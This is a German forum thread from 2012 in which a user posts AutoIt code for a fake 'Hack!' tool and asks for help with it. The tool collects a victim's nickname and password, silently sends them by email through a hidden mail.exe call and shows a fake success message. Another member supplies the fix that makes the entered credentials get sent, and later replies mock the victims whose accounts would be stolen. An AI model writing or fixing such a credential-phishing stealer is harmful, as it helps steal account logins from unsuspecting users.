Autoit problem mit einer mail.exe

06/20/2012 15:34 Lufl#1
Hallo Community,

Ich habe ein Problem mit autoit:


Code:
#include <ButtonConstants.au3>
[SIZE="2"]#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1_1 = GUICreate("", 233, 192, 192, 124)
$Label1 = GUICtrlCreateLabel("Nickname:", 8, 0, 103, 28)
GUICtrlSetFont(-1, 14, 800, 0, "MS Sans Serif")
$Input1 = GUICtrlCreateInput("", 8, 32, 209, 21)
$Label2 = GUICtrlCreateLabel("Passwort:", 8, 64, 93, 28)
GUICtrlSetFont(-1, 14, 800, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 8, 96, 209, 21)
$Button1 = GUICtrlCreateButton("Hack!", 8, 136, 209, 49)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Button1
			CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
			MsgBox(0, "Erfolg", "Die AP wurden erfolgreichinzugefügt")


	EndSwitch
WEnd




Func CallMailExe($Path, $Input1, $Input2)
	Local $var = "|@Name:" & $Input1 & "|@Passwort:" & $Input2
	$var = StringReplace($var, " ", "kdw<Y>")
	ShellExecute($Path, $var, @ScriptDir, "", @SW_HIDE)
EndFunc   ;==>CallMailExe[/SIZE]
Wenn ich den code verwende bekomme ich eine mail mit:

Nickname: hi
Passwort: hi

aber wenn ich statt
Code:
Case $Button1
			CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
dass hier mache:
Code:
Case $Button1
			CallMailExe(@ScriptDir & mail.exe",$Input1,$Input2)
und in dem Programm die Daten eintrage, dann bekomme ich keine Mail.
Wenn ich das manuel mache mit:
Code:
Case $Button1
			CallMailExe(@ScriptDir & mail.exe","Nickname","Passwort")
dann geht dass.
könnt ihr mir beim Script weiterhelfen, das Ich die Daten mit der Variable bekomme? lg

Und noch eine Sache: Ich will das Programm soll kein hack werden, wo ich anderen den Account klaue :)


lg Lufl
06/20/2012 15:44 SCORNI#2
Quote:
Originally Posted by Lufl View Post
Und noch eine Sache: Ich will das Programm soll kein hack werden, wo ich anderen den Account klaue :)

Hat doch auch keiner gesagt. Aber jetzt woh du es so erwähnst...


Code:
guictrlread ()
wird benötigt um den Text einer inputbox auszulesen
06/20/2012 16:32 Lufl#3
DAAAANKKKKKEE du hast mein tag gerettet :)
06/21/2012 19:13 Cashblood#4
Quote:
Originally Posted by Lufl View Post
DAAAANKKKKKEE du hast mein tag gerettet :)
Wer rettet jetzt die accounts der undankbaren idioten die da ihre "Daten" eingeben? =)